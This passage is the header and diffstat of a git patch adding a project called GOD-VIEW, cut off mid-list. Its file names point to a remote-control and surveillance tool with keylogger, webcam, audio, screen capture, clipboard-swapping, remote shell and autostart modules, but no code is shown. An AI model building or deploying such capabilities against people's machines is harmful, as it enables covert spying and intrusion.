From 58ebd3bc0f00c532e97e9a5571471ffab87934ba Mon Sep 17 00:00:00 2001 From: AL-LCL Date: Fri, 19 May 2023 10:39:49 +0200 Subject: GOD-VIEW --- LICENSE | 674 + README.md | 646 + archive/scripts/injection_scripts_here.txt | 0 archive/scripts/python_scripts_here.py | 0 archive/uploads/files_to_upload_here.txt | 0 bot.py | 28 + build/GOD-VIEW.pdf | Bin 0 -> 78524 bytes build/gv-design.png | Bin 0 -> 42160 bytes build/gv-model.png | Bin 0 -> 61485 bytes build/gv.ico | Bin 0 -> 15406 bytes build/requirements.txt | 12 + build/requirements_wheels.txt | 2 + client/action.py | 772 ++ client/autostart.py | 73 + client/error.py | 72 + client/helper.py | 63 + client/modules/audio.py | 54 + client/modules/clipper.py | 60 + client/modules/desktop.py | 70 + client/modules/keylogger.py | 85 + client/modules/module.py | 20 + client/modules/webcam.py | 81 + client/shell.py | 70 + client/socket.py | 119 + client/state.py | 47 + client/sysinfo.py | 256 + gui/asset-manifest.json | 23 + gui/favicon.ico | Bin 0 -> 15406 bytes gui/index.html | 1 + ...he-manifest.18b63ea7e20f1ae650099d4a212bf862.js | 30 + gui/service-worker.js | 39 + gui/static/alert.wav | Bin 0 -> 36942 bytes gui/static/css/2.bdb273ca.chunk.css | 2 + gui/static/css/2.bdb273ca.chunk.css.map | 1 + gui/static/flags/AD.png | Bin 0 -> 1312 bytes gui/static/flags/AE.png | Bin 0 -> 180 bytes gui/static/flags/AF.png | Bin 0 -> 1245 bytes gui/static/flags/AG.png | Bin 0 -> 862 bytes gui/static/flags/AH.png | Bin 0 -> 212 bytes gui/static/flags/AI.png | Bin 0 -> 1423 bytes gui/static/flags/AK.png | Bin 0 -> 977 bytes gui/static/flags/AL.png | Bin 0 -> 1551 bytes gui/static/flags/AM.png | Bin 0 -> 169 bytes gui/static/flags/AN.png | Bin 0 -> 295 bytes gui/static/flags/AO.png | Bin 0 -> 1138 bytes gui/static/flags/AQ.png | Bin 0 -> 1203 bytes gui/static/flags/AR.png | Bin 0 -> 617 bytes gui/static/flags/AS.png | Bin 0 -> 1794 bytes gui/static/flags/AT.png | Bin 0 -> 172 bytes gui/static/flags/AU.png | Bin 0 -> 983 bytes gui/static/flags/AW.png | Bin 0 -> 639 bytes gui/static/flags/AX.png | Bin 0 -> 206 bytes gui/static/flags/AZ.png | Bin 0 -> 755 bytes gui/static/flags/BA.png | Bin 0 -> 734 bytes gui/static/flags/BB.png | Bin 0 -> 444 bytes gui/static/flags/BD.png | Bin 0 -> 434 bytes gui/static/flags/BE.png | Bin 0 -> 178 bytes gui/static/flags/BF.png | Bin 0 -> 430 bytes gui/static/flags/BG.png | Bin 0 -> 172 bytes gui/static/flags/BH.png | Bin 0 -> 340 bytes gui/static/flags/BI.png | Bin 0 -> 1045 bytes gui/static/flags/BJ.png | Bin 0 -> 184 bytes gui/static/flags/BL.png | Bin 0 -> 4098 bytes gui/static/flags/BM.png | Bin 0 -> 1725 bytes gui/static/flags/BN.png | Bin 0 -> 2510 bytes gui/static/flags/BO.png | Bin 0 -> 686 bytes gui/static/flags/BQ.png | Bin 0 -> 593 bytes gui/static/flags/BR.png | Bin 0 -> 2178 bytes gui/static/flags/BS.png | Bin 0 -> 467 bytes gui/static/flags/BT.png | Bin 0 -> 2640 bytes gui/static/flags/BV.png | Bin 0 -> 1294 bytes gui/static/flags/BW.png | Bin 0 -> 178 bytes gui/static/flags/BY.png | Bin 0 -> 595 bytes gui/static/flags/BZ.png | Bin 0 -> 2798 bytes gui/static/flags/CA.png | Bin 0 -> 486 bytes gui/static/flags/CC.png | Bin 0 -> 1004 bytes gui/static/flags/CD.png | Bin 0 -> 1296 bytes gui/static/flags/CF.png | Bin 0 -> 377 bytes gui/static/flags/CG.png | Bin 0 -> 323 bytes gui/static/flags/CH.png | Bin 0 -> 175 bytes gui/static/flags/CI.png | Bin 0 -> 172 bytes gui/static/flags/CK.png | Bin 0 -> 1804 bytes gui/static/flags/CL.png | Bin 0 -> 309 bytes gui/static/flags/CM.png | Bin 0 -> 367 bytes gui/static/flags/CN.png | Bin 0 -> 745 bytes gui/static/flags/CO.png | Bin 0 -> 174 bytes gui/static/flags/CR.png | Bin 0 -> 184 bytes gui/static/flags/CU.png | Bin 0 -> 605 bytes gui/static/flags/CV.png | Bin 0 -> 360 bytes gui/static/flags/CW.png | Bin 0 -> 441 bytes gui/static/flags/CX.png | Bin 0 -> 1579 bytes gui/static/flags/CY.png | Bin 0 -> 1080 bytes gui/static/flags/CZ.png | Bin 0 -> 369 bytes gui/static/flags/DE.png | Bin 0 -> 168 bytes gui/static/flags/DJ.png | Bin 0 -> 452 bytes gui/static/flags/DK.png | Bin 0 -> 180 bytes gui/static/flags/DM.png | Bin 0 -> 1323 bytes gui/static/flags/DO.png | Bin 0 -> 588 bytes gui/static/flags/DZ.png | Bin 0 -> 592 bytes gui/static/flags/EC.png | Bin 0 -> 1335 bytes gui/static/flags/EE.png | Bin 0 -> 170 bytes gui/static/flags/EG.png | Bin 0 -> 634 bytes gui/static/flags/EH.png | Bin 0 -> 577 bytes gui/static/flags/ER.png | Bin 0 -> 1622 bytes gui/static/flags/ES.png | Bin 0 -> 996 bytes gui/static/flags/ET.png | Bin 0 -> 1831 bytes gui/static/flags/EU.png | Bin 0 -> 1371 bytes gui/static/flags/FI.png | Bin 0 -> 175 bytes gui/static/flags/FJ.png | Bin 0 -> 1896 bytes gui/static/flags/FK.png | Bin 0 -> 2079 bytes gui/static/flags/FM.png | Bin 0 -> 444 bytes gui/static/flags/FO.png | Bin 0 -> 197 bytes gui/static/flags/FR.png | Bin 0 -> 175 bytes gui/static/flags/GA.png | Bin 0 -> 180 bytes gui/static/flags/GB.png | Bin 0 -> 680 bytes gui/static/flags/GD.png | Bin 0 -> 991 bytes gui/static/flags/GE.png | Bin 0 -> 254 bytes gui/static/flags/GF.png | Bin 0 -> 2105 bytes gui/static/flags/GG.png | Bin 0 -> 250 bytes gui/static/flags/GH.png | Bin 0 -> 443 bytes gui/static/flags/GI.png | Bin 0 -> 1102 bytes gui/static/flags/GL.png | Bin 0 -> 521 bytes gui/static/flags/GM.png | Bin 0 -> 189 bytes gui/static/flags/GN.png | Bin 0 -> 180 bytes gui/static/flags/GP.png | Bin 0 -> 3541 bytes gui/static/flags/GQ.png | Bin 0 -> 836 bytes gui/static/flags/GR.png | Bin 0 -> 195 bytes gui/static/flags/GS.png | Bin 0 -> 2843 bytes gui/static/flags/GT.png | Bin 0 -> 727 bytes gui/static/flags/GU.png | Bin 0 -> 1271 bytes gui/static/flags/GW.png | Bin 0 -> 384 bytes gui/static/flags/GY.png | Bin 0 -> 712 bytes gui/static/flags/HK.png | Bin 0 -> 1320 bytes gui/static/flags/HM.png | Bin 0 -> 3671 bytes gui/static/flags/HN.png | Bin 0 -> 302 bytes gui/static/flags/HR.png | Bin 0 -> 1271 bytes gui/static/flags/HT.png | Bin 0 -> 573 bytes gui/static/flags/HU.png | Bin 0 -> 172 bytes gui/static/flags/IC.png | Bin 0 -> 696 bytes gui/static/flags/ID.png | Bin 0 -> 167 bytes gui/static/flags/IE.png | Bin 0 -> 170 bytes gui/static/flags/IL.png | Bin 0 -> 737 bytes gui/static/flags/IM.png | Bin 0 -> 1327 bytes gui/static/flags/IN.png | Bin 0 -> 614 bytes gui/static/flags/IO.png | Bin 0 -> 5406 bytes gui/static/flags/IQ.png | Bin 0 -> 772 bytes gui/static/flags/IR.png | Bin 0 -> 1616 bytes gui/static/flags/IS.png | Bin 0 -> 200 bytes gui/static/flags/IT.png | Bin 0 -> 175 bytes gui/static/flags/JE.png | Bin 0 -> 1001 bytes gui/static/flags/JM.png | Bin 0 -> 612 bytes gui/static/flags/JO.png | Bin 0 -> 505 bytes gui/static/flags/JP.png | Bin 0 -> 463 bytes gui/static/flags/KE.png | Bin 0 -> 1019 bytes gui/static/flags/KG.png | Bin 0 -> 1685 bytes gui/static/flags/KH.png | Bin 0 -> 1279 bytes gui/static/flags/KI.png | Bin 0 -> 2746 bytes gui/static/flags/KM.png | Bin 0 -> 659 bytes gui/static/flags/KN.png | Bin 0 -> 640 bytes gui/static/flags/KP.png | Bin 0 -> 542 bytes gui/static/flags/KR.png | Bin 0 -> 1896 bytes gui/static/flags/KW.png | Bin 0 -> 406 bytes gui/static/flags/KY.png | Bin 0 -> 1875 bytes gui/static/flags/KZ.png | Bin 0 -> 2226 bytes gui/static/flags/LA.png | Bin 0 -> 365 bytes gui/static/flags/LB.png | Bin 0 -> 1097 bytes gui/static/flags/LC.png | Bin 0 -> 598 bytes gui/static/flags/LI.png | Bin 0 -> 814 bytes gui/static/flags/LK.png | Bin 0 -> 2437 bytes gui/static/flags/LR.png | Bin 0 -> 377 bytes gui/static/flags/LS.png | Bin 0 -> 583 bytes gui/static/flags/LT.png | Bin 0 -> 180 bytes gui/static/flags/LU.png | Bin 0 -> 172 bytes gui/static/flags/LV.png | Bin 0 -> 170 bytes gui/static/flags/LY.png | Bin 0 -> 506 bytes gui/static/flags/MA.png | Bin 0 -> 1005 bytes gui/static/flags/MC.png | Bin 0 -> 167 bytes gui/static/flags/MD.png | Bin 0 -> 907 bytes gui/static/flags/ME.png | Bin 0 -> 1655 bytes gui/static/flags/MF.png | Bin 0 -> 403 bytes gui/static/flags/MG.png | Bin 0 -> 173 bytes gui/static/flags/MH.png | Bin 0 -> 1100 bytes gui/static/flags/MK.png | Bin 0 -> 925 bytes gui/static/flags/ML.png | Bin 0 -> 182 bytes gui/static/flags/MM.png | Bin 0 -> 637 bytes gui/static/flags/MN.png | Bin 0 -> 846 bytes gui/static/flags/MO.png | Bin 0 -> 1505 bytes gui/static/flags/MP.png | Bin 0 -> 3538 bytes gui/static/flags/MQ.png | Bin 0 -> 653 bytes gui/static/flags/MR.png | Bin 0 -> 685 bytes gui/static/flags/MS.png | Bin 0 -> 1652 bytes gui/static/flags/MT.png | Bin 0 -> 481 bytes gui/static/flags/MU.png | Bin 0 -> 190 bytes gui/static/flags/MV.png | Bin 0 -> 375 bytes gui/static/flags/MW.png | Bin 0 -> 763 bytes gui/static/flags/MX.png | Bin 0 -> 818 bytes gui/static/flags/MY.png | Bin 0 -> 693 bytes gui/static/flags/MZ.png | Bin 0 -> 1187 bytes gui/static/flags/NA.png | Bin 0 -> 623 bytes gui/static/flags/NC.png | Bin 0 -> 1150 bytes gui/static/flags/NE.png | Bin 0 -> 380 bytes gui/static/flags/NF.png | Bin 0 -> 1691 bytes gui/static/flags/NG.png | Bin 0 -> 169 bytes gui/static/flags/NI.png | Bin 0 -> 669 bytes gui/static/flags/NL.png | Bin 0 -> 175 bytes gui/static/flags/NO.png | Bin 0 -> 200 bytes gui/static/flags/NP.png | Bin 0 -> 1399 bytes gui/static/flags/NR.png | Bin 0 -> 419 bytes gui/static/flags/NU.png | Bin 0 -> 1289 bytes gui/static/flags/NY.png | Bin 0 -> 583 bytes gui/static/flags/NZ.png | Bin 0 -> 747 bytes gui/static/flags/OM.png | Bin 0 -> 768 bytes gui/static/flags/PA.png | Bin 0 -> 440 bytes gui/static/flags/PE.png | Bin 0 -> 172 bytes gui/static/flags/PF.png | Bin 0 -> 1039 bytes gui/static/flags/PG.png | Bin 0 -> 1683 bytes gui/static/flags/PH.png | Bin 0 -> 1391 bytes gui/static/flags/PK.png | Bin 0 -> 1021 bytes gui/static/flags/PL.png | Bin 0 -> 172 bytes gui/static/flags/PM.png | Bin 0 -> 7159 bytes gui/static/flags/PN.png | Bin 0 -> 2742 bytes gui/static/flags/PR.png | Bin 0 -> 611 bytes gui/static/flags/PS.png | Bin 0 -> 322 bytes gui/static/flags/PT.png | Bin 0 -> 1403 bytes gui/static/flags/PW.png | Bin 0 -> 436 bytes gui/static/flags/PY.png | Bin 0 -> 651 bytes gui/static/flags/QA.png | Bin 0 -> 1031 bytes gui/static/flags/RE.png | Bin 0 -> 3820 bytes gui/static/flags/RO.png | Bin 0 -> 180 bytes gui/static/flags/RS.png | Bin 0 -> 1483 bytes gui/static/flags/RU.png | Bin 0 -> 164 bytes gui/static/flags/RW.png | Bin 0 -> 486 bytes gui/static/flags/SA.png | Bin 0 -> 1712 bytes gui/static/flags/SB.png | Bin 0 -> 500 bytes gui/static/flags/SC.png | Bin 0 -> 759 bytes gui/static/flags/SD.png | Bin 0 -> 528 bytes gui/static/flags/SE.png | Bin 0 -> 183 bytes gui/static/flags/SG.png | Bin 0 -> 854 bytes gui/static/flags/SH.png | Bin 0 -> 1738 bytes gui/static/flags/SI.png | Bin 0 -> 651 bytes gui/static/flags/SJ.png | Bin 0 -> 1136 bytes gui/static/flags/SK.png | Bin 0 -> 639 bytes gui/static/flags/SL.png | Bin 0 -> 172 bytes gui/static/flags/SM.png | Bin 0 -> 1167 bytes gui/static/flags/SN.png | Bin 0 -> 372 bytes gui/static/flags/SO.png | Bin 0 -> 414 bytes gui/static/flags/SR.png | Bin 0 -> 473 bytes gui/static/flags/SS.png | Bin 0 -> 669 bytes gui/static/flags/ST.png | Bin 0 -> 570 bytes gui/static/flags/SV.png | Bin 0 -> 719 bytes gui/static/flags/SX.png | Bin 0 -> 2738 bytes gui/static/flags/SY.png | Bin 0 -> 355 bytes gui/static/flags/SZ.png | Bin 0 -> 1961 bytes gui/static/flags/TC.png | Bin 0 -> 1653 bytes gui/static/flags/TD.png | Bin 0 -> 181 bytes gui/static/flags/TF.png | Bin 0 -> 860 bytes gui/static/flags/TG.png | Bin 0 -> 401 bytes gui/static/flags/TH.png | Bin 0 -> 184 bytes gui/static/flags/TJ.png | Bin 0 -> 684 bytes gui/static/flags/TK.png | Bin 0 -> 977 bytes gui/static/flags/TL.png | Bin 0 -> 726 bytes gui/static/flags/TM.png | Bin 0 -> 2308 bytes gui/static/flags/TN.png | Bin 0 -> 1158 bytes gui/static/flags/TO.png | Bin 0 -> 184 bytes gui/static/flags/TR.png | Bin 0 -> 624 bytes gui/static/flags/TT.png | Bin 0 -> 327 bytes gui/static/flags/TV.png | Bin 0 -> 1845 bytes gui/static/flags/TW.png | Bin 0 -> 603 bytes gui/static/flags/TZ.png | Bin 0 -> 428 bytes gui/static/flags/UA.png | Bin 0 -> 170 bytes gui/static/flags/UG.png | Bin 0 -> 615 bytes gui/static/flags/UM.png | Bin 0 -> 2190 bytes gui/static/flags/US.png | Bin 0 -> 323 bytes gui/static/flags/UY.png | Bin 0 -> 991 bytes gui/static/flags/UZ.png | Bin 0 -> 815 bytes gui/static/flags/VA.png | Bin 0 -> 802 bytes gui/static/flags/VC.png | Bin 0 -> 851 bytes gui/static/flags/VE.png | Bin 0 -> 1300 bytes gui/static/flags/VG.png | Bin 0 -> 2129 bytes gui/static/flags/VI.png | Bin 0 -> 3394 bytes gui/static/flags/VN.png | Bin 0 -> 499 bytes gui/static/flags/VU.png | Bin 0 -> 1269 bytes gui/static/flags/WF.png | Bin 0 -> 307 bytes gui/static/flags/WS.png | Bin 0 -> 737 bytes gui/static/flags/XK.png | Bin 0 -> 2872 bytes gui/static/flags/YE.png | Bin 0 -> 170 bytes gui/static/flags/YT.png | Bin 0 -> 3199 bytes gui/static/flags/ZA.png | Bin 0 -> 520 bytes gui/static/flags/ZM.png | Bin 0 -> 657 bytes gui/static/flags/ZW.png | Bin 0 -> 1381 bytes gui/static/flags/placeholder.png | Bin 0 -> 2095 bytes gui/static/js/2.a739d3d0.chunk.js | 3 + gui/static/js/2.a739d3d0.chunk.js.LICENSE.txt | 51 + gui/static/js/2.a739d3d0.chunk.js.map | 1 + gui/static/js/main.bca18f22.chunk.js | 2 + gui/static/js/main.bca18f22.chunk.js.map | 1 + gui/static/js/runtime-main.97e57f87.js | 2 + gui/static/js/runtime-main.97e57f87.js.map | 1 + gui/static/media/plyr.3a727a9b.svg | 1 + gui/static/poster.png | Bin 0 -> 18672 bytes host.py | 29 + server/action.py | 900 ++ server/alias.py | 90 + server/autotask.py | 81 + server/blacklist.py | 114 + server/console.py | 345 + server/controller.py | 102 + server/database.py | 74 + server/email.py | 58 + server/environment.py | 81 + server/error.py | 118 + server/event.py | 63 + server/helper.py | 57 + server/modules/audio.py | 53 + server/modules/desktop.py | 69 + server/modules/logger.py | 56 + server/modules/module.py | 46 + server/modules/webcam.py | 74 + server/parse.py | 127 + server/request.py | 210 + server/settings.py | 110 + server/socket.py | 496 + server/state.py | 173 + server/web.py | 139 + server/web/package-lock.json | 13862 +++++++++++++++++++ server/web/package.json | 40 + server/web/public/favicon.ico | Bin 0 -> 15406 bytes server/web/public/index.html | 15 + server/web/public/static/alert.wav | Bin 0 -> 36942 bytes server/web/public/static/flags/AD.png | Bin 0 -> 1312 bytes server/web/public/static/flags/AE.png | Bin 0 -> 180 bytes server/web/public/static/flags/AF.png | Bin 0 -> 1245 bytes server/web/public/static/flags/AG.png | Bin 0 -> 862 bytes server/web/public/static/flags/AH.png | Bin 0 -> 212 bytes server/web/public/static/flags/AI.png | Bin 0 -> 1423 bytes server/web/public/static/flags/AK.png | Bin 0 -> 977 bytes server/web/public/static/flags/AL.png | Bin 0 -> 1551 bytes server/web/public/static/flags/AM.png | Bin 0 -> 169 bytes server/web/public/static/flags/AN.png | Bin 0 -> 295 bytes server/web/public/static/flags/AO.png | Bin 0 -> 1138 bytes server/web/public/static/flags/AQ.png | Bin 0 -> 1203 bytes server/web/public/static/flags/AR.png | Bin 0 -> 617 bytes server/web/public/static/flags/AS.png | Bin 0 -> 1794 bytes server/web/public/static/flags/AT.png | Bin 0 -> 172 bytes server/web/public/static/flags/AU.png | Bin 0 -> 983 bytes server/web/public/static/flags/AW.png | Bin 0 -> 639 bytes server/web/public/static/flags/AX.png | Bin 0 -> 206 bytes server/web/public/static/flags/AZ.png | Bin 0 -> 755 bytes server/web/public/static/flags/BA.png | Bin 0 -> 734 bytes server/web/public/static/flags/BB.png | Bin 0 -> 444 bytes server/web/public/static/flags/BD.png | Bin 0 -> 434 bytes server/web/public/static/flags/BE.png | Bin 0 -> 178 bytes server/web/public/static/flags/BF.png | Bin 0 -> 430 bytes server/web/public/static/flags/BG.png | Bin 0 -> 172 bytes server/web/public/static/flags/BH.png | Bin 0 -> 340 bytes server/web/public/static/flags/BI.png | Bin 0 -> 1045 bytes server/web/public/static/flags/BJ.png | Bin 0 -> 184 bytes server/web/public/static/flags/BL.png | Bin 0 -> 4098 bytes server/web/public/static/flags/BM.png | Bin 0 -> 1725 bytes server/web/public/static/flags/BN.png | Bin 0 -> 2510 bytes server/web/public/static/flags/BO.png | Bin 0 -> 686 bytes server/web/public/static/flags/BQ.png | Bin 0 -> 593 bytes server/web/public/static/flags/BR.png | Bin 0 -> 2178 bytes server/web/public/static/flags/BS.png | Bin 0 -> 467 bytes server/web/public/static/flags/BT.png | Bin 0 -> 2640 bytes server/web/public/static/flags/BV.png | Bin 0 -> 1294 bytes server/web/public/static/flags/BW.png | Bin 0 -> 178 bytes server/web/public/static/flags/BY.png | Bin 0 -> 595 bytes server/web/public/static/flags/BZ.png | Bin 0 -> 2798 bytes server/web/public/static/flags/CA.png | Bin 0 -> 486 bytes server/web/public/static/flags/CC.png | Bin 0 -> 1004 bytes server/web/public/static/flags/CD.png | Bin 0 -> 1296 bytes server/web/public/static/flags/CF.png | Bin 0 -> 377 bytes server/web/public/static/flags/CG.png | Bin 0 -> 323 bytes server/web/public/static/flags/CH.png | Bin 0 -> 175 bytes server/web/public/static/flags/CI.png | Bin 0 -> 172 bytes server/web/public/static/flags/CK.png | Bin 0 -> 1804 bytes server/web/public/static/flags/CL.png | Bin 0 -> 309 bytes server/web/public/static/flags/CM.png | Bin 0 -> 367 bytes server/web/public/static/flags/CN.png | Bin 0 -> 745 bytes server/web/public/static/flags/CO.png | Bin 0 -> 174 bytes server/web/public/static/flags/CR.png | Bin 0 -> 184 bytes server/web/public/static/flags/CU.png | Bin 0 -> 605 bytes server/web/public/static/flags/CV.png | Bin 0 -> 360 bytes server/web/public/static/flags/CW.png | Bin 0 -> 441 bytes server/web/public/static/flags/CX.png | Bin 0 -> 1579 bytes server/web/public/static/flags/CY.png | Bin 0 -> 1080 bytes server/web/public/static/flags/CZ.png | Bin 0 -> 369 bytes server/web/public/static/flags/DE.png | Bin 0 -> 168 bytes server/web/public/static/flags/DJ.png | Bin 0 -> 452 bytes server/web/public/static/flags/DK.png | Bin 0 -> 180 bytes server/web/public/static/flags/DM.png | Bin 0 -> 1323 bytes server/web/public/static/flags/DO.png | Bin 0 -> 588 bytes server/web/public/static/flags/DZ.png | Bin 0 -> 592 bytes server/web/public/static/flags/EC.png | Bin 0 -> 1335 bytes server/web/public/static/flags/EE.png | Bin 0 -> 170 bytes server/web/public/static/flags/EG.png | Bin 0 -> 634 bytes server/web/public/static/flags/EH.png | Bin 0 -> 577 bytes server/web/public/static/flags/ER.png | Bin 0 -> 1622 bytes server/web/public/static/flags/ES.png | Bin 0 -> 996 bytes server/web/public/static/flags/ET.png | Bin 0 -> 1831 bytes server/web/public/static/flags/EU.png | Bin 0 -> 1371 bytes server/web/public/static/flags/FI.png | Bin 0 -> 175 bytes server/web/public/static/flags/FJ.png | Bin 0 -> 1896 bytes server/web/public/static/flags/FK.png | Bin 0 -> 2079 bytes server/web/public/static/flags/FM.png | Bin 0 -> 444 bytes server/web/public/static/flags/FO.png | Bin 0 -> 197 bytes server/web/public/static/flags/FR.png | Bin 0 -> 175 bytes server/web/public/static/flags/GA.png | Bin 0 -> 180 bytes server/web/public/static/flags/GB.png | Bin 0 -> 680 bytes server/web/public/static/flags/GD.png | Bin 0 -> 991 bytes server/web/public/static/flags/GE.png | Bin 0 -> 254 bytes server/web/public/static/flags/GF.png | Bin 0 -> 2105 bytes server/web/public/static/flags/GG.png | Bin 0 -> 250 bytes server/web/public/static/flags/GH.png | Bin 0 -> 443 bytes server/web/public/static/flags/GI.png | Bin 0 -> 1102 bytes server/web/public/static/flags/GL.png | Bin 0 -> 521 bytes server/web/public/static/flags/GM.png | Bin 0 -> 189 bytes server/web/public/static/flags/GN.png | Bin 0 -> 180 bytes server/web/public/static/flags/GP.png | Bin 0 -> 3541 bytes server/web/public/static/flags/GQ.png | Bin 0 -> 836 bytes server/web/public/static/flags/GR.png | Bin 0 -> 195 bytes server/web/public/static/flags/GS.png | Bin 0 -> 2843 bytes server/web/public/static/flags/GT.png | Bin 0 -> 727 bytes server/web/public/static/flags/GU.png | Bin 0 -> 1271 bytes server/web/public/static/flags/GW.png | Bin 0 -> 384 bytes server/web/public/static/flags/GY.png | Bin 0 -> 712 bytes server/web/public/static/flags/HK.png | Bin 0 -> 1320 bytes server/web/public/static/flags/HM.png | Bin 0 -> 3671 bytes server/web/public/static/flags/HN.png | Bin 0 -> 302 bytes server/web/public/static/flags/HR.png | Bin 0 -> 1271 bytes server/web/public/static/flags/HT.png | Bin 0 -> 573 bytes server/web/public/static/flags/HU.png | Bin 0 -> 172 bytes server/web/public/static/flags/IC.png | Bin 0 -> 696 bytes server/web/public/static/flags/ID.png | Bin 0 -> 167 bytes server/web/public/static/flags/IE.png | Bin 0 -> 170 bytes server/web/public/static/flags/IL.png | Bin 0 -> 737 bytes server/web/public/static/flags/IM.png | Bin 0 -> 1327 bytes server/web/public/static/flags/IN.png | Bin 0 -> 614 bytes server/web/public/static/flags/IO.png | Bin 0 -> 5406 bytes server/web/public/static/flags/IQ.png | Bin 0 -> 772 bytes server/web/public/static/flags/IR.png | Bin 0 -> 1616 bytes server/web/public/static/flags/IS.png | Bin 0 -> 200 bytes server/web/public/static/flags/IT.png | Bin 0 -> 175 bytes server/web/public/static/flags/JE.png | Bin 0 -> 1001 bytes server/web/public/static/flags/JM.png | Bin 0 -> 612 bytes server/web/public/static/flags/JO.png | Bin 0 -> 505 bytes server/web/public/static/flags/JP.png | Bin 0 -> 463 bytes server/web/public/static/flags/KE.png | Bin 0 -> 1019 bytes server/web/public/static/flags/KG.png | Bin 0 -> 1685 bytes server/web/public/static/flags/KH.png | Bin 0 -> 1279 bytes server/web/public/static/flags/KI.png | Bin 0 -> 2746 bytes server/web/public/static/flags/KM.png | Bin 0 -> 659 bytes server/web/public/static/flags/KN.png | Bin 0 -> 640 bytes server/web/public/static/flags/KP.png | Bin 0 -> 542 bytes server/web/public/static/flags/KR.png | Bin 0 -> 1896 bytes server/web/public/static/flags/KW.png | Bin 0 -> 406 bytes server/web/public/static/flags/KY.png | Bin 0 -> 1875 bytes server/web/public/static/flags/KZ.png | Bin 0 -> 2226 bytes server/web/public/static/flags/LA.png | Bin 0 -> 365 bytes server/web/public/static/flags/LB.png | Bin 0 -> 1097 bytes server/web/public/static/flags/LC.png | Bin 0 -> 598 bytes server/web/public/static/flags/LI.png | Bin 0 -> 814 bytes server/web/public/static/flags/LK.png | Bin 0 -> 2437 bytes server/web/public/static/flags/LR.png | Bin 0 -> 377 bytes server/web/public/static/flags/LS.png | Bin 0 -> 583 bytes server/web/public/static/flags/LT.png | Bin 0 -> 180 bytes server/web/public/static/flags/LU.png | Bin 0 -> 172 bytes server/web/public/static/flags/LV.png | Bin 0 -> 170 bytes server/web/public/static/flags/LY.png | Bin 0 -> 506 bytes server/web/public/static/flags/MA.png | Bin 0 -> 1005 bytes server/web/public/static/flags/MC.png | Bin 0 -> 167 bytes server/web/public/static/flags/MD.png | Bin 0 -> 907 bytes server/web/public/static/flags/ME.png | Bin 0 -> 1655 bytes server/web/public/static/flags/MF.png | Bin 0 -> 403 bytes server/web/public/static/flags/MG.png | Bin 0 -> 173 bytes server/web/public/static/flags/MH.png | Bin 0 -> 1100 bytes server/web/public/static/flags/MK.png | Bin 0 -> 925 bytes server/web/public/static/flags/ML.png | Bin 0 -> 182 bytes server/web/public/static/flags/MM.png | Bin 0 -> 637 bytes server/web/public/static/flags/MN.png | Bin 0 -> 846 bytes server/web/public/static/flags/MO.png | Bin 0 -> 1505 bytes server/web/public/static/flags/MP.png | Bin 0 -> 3538 bytes server/web/public/static/flags/MQ.png | Bin 0 -> 653 bytes server/web/public/static/flags/MR.png | Bin 0 -> 685 bytes server/web/public/static/flags/MS.png | Bin 0 -> 1652 bytes server/web/public/static/flags/MT.png | Bin 0 -> 481 bytes server/web/public/static/flags/MU.png | Bin 0 -> 190 bytes server/web/public/static/flags/MV.png | Bin 0 -> 375 bytes server/web/public/static/flags/MW.png | Bin 0 -> 763 bytes server/web/public/static/flags/MX.png | Bin 0 -> 818 bytes server/web/public/static/flags/MY.png | Bin 0 -> 693 bytes server/web/public/static/flags/MZ.png | Bin 0 -> 1187 bytes server/web/public/static/flags/NA.png | Bin 0 -> 623 bytes server/web/public/static/flags/NC.png | Bin 0 -> 1150 bytes server/web/public/static/flags/NE.png | Bin 0 -> 380 bytes server/web/public/static/flags/NF.png | Bin 0 -> 1691 bytes server/web/public/static/flags/NG.png | Bin 0 -> 169 bytes server/web/public/static/flags/NI.png | Bin 0 -> 669 bytes server/web/public/static/flags/NL.png | Bin 0 -> 175 bytes server/web/public/static/flags/NO.png | Bin 0 -> 200 bytes server/web/public/static/flags/NP.png | Bin 0 -> 1399 bytes server/web/public/static/flags/NR.png | Bin 0 -> 419 bytes server/web/public/static/flags/NU.png | Bin 0 -> 1289 bytes server/web/public/static/flags/NY.png | Bin 0 -> 583 bytes server/web/public/static/flags/NZ.png | Bin 0 -> 747 bytes server/web/public/static/flags/OM.png | Bin 0 -> 768 bytes server/web/public/static/flags/PA.png | Bin 0 -> 440 bytes server/web/public/static/flags/PE.png | Bin 0 -> 172 bytes server/web/public/static/flags/PF.png | Bin 0 -> 1039 bytes server/web/public/static/flags/PG.png | Bin 0 -> 1683 bytes server/web/public/static/flags/PH.png | Bin 0 -> 1391 bytes server/web/public/static/flags/PK.png | Bin 0 -> 1021 bytes server/web/public/static/flags/PL.png | Bin 0 -> 172 bytes server/web/public/static/flags/PM.png | Bin 0 -> 7159 bytes server/web/public/static/flags/PN.png | Bin 0 -> 2742 bytes server/web/public/static/flags/PR.png | Bin 0 -> 611 bytes server/web/public/static/flags/PS.png | Bin 0 -> 322 bytes server/web/public/static/flags/PT.png | Bin 0 -> 1403 bytes server/web/public/static/flags/PW.png | Bin 0 -> 436 bytes server/web/public/static/flags/PY.png | Bin 0 -> 651 bytes server/web/public/static/flags/QA.png | Bin 0 -> 1031 bytes server/web/public/static/flags/RE.png | Bin 0 -> 3820 bytes server/web/public/static/flags/RO.png | Bin 0 -> 180 bytes server/web/public/static/flags/RS.png | Bin 0 -> 1483 bytes server/web/public/static/flags/RU.png | Bin 0 -> 164 bytes server/web/public/static/flags/RW.png | Bin 0 -> 486 bytes server/web/public/static/flags/SA.png | Bin 0 -> 1712 bytes server/web/public/static/flags/SB.png | Bin 0 -> 500 bytes server/web/public/static/flags/SC.png | Bin 0 -> 759 bytes server/web/public/static/flags/SD.png | Bin 0 -> 528 bytes server/web/public/static/flags/SE.png | Bin 0 -> 183 bytes server/web/public/static/flags/SG.png | Bin 0 -> 854 bytes server/web/public/static/flags/SH.png | Bin 0 -> 1738 bytes server/web/public/static/flags/SI.png | Bin 0 -> 651 bytes server/web/public/static/flags/SJ.png | Bin 0 -> 1136 bytes server/web/public/static/flags/SK.png | Bin 0 -> 639 bytes server/web/public/static/flags/SL.png | Bin 0 -> 172 bytes server/web/public/static/flags/SM.png | Bin 0 -> 1167 bytes server/web/public/static/flags/SN.png | Bin 0 -> 372 bytes server/web/public/static/flags/SO.png | Bin 0 -> 414 bytes server/web/public/static/flags/SR.png | Bin 0 -> 473 bytes server/web/public/static/flags/SS.png | Bin 0 -> 669 bytes server/web/public/static/flags/ST.png | Bin 0 -> 570 bytes server/web/public/static/flags/SV.png | Bin 0 -> 719 bytes server/web/public/static/flags/SX.png | Bin 0 -> 2738 bytes server/web/public/static/flags/SY.png | Bin 0 -> 355 bytes server/web/public/static/flags/SZ.png 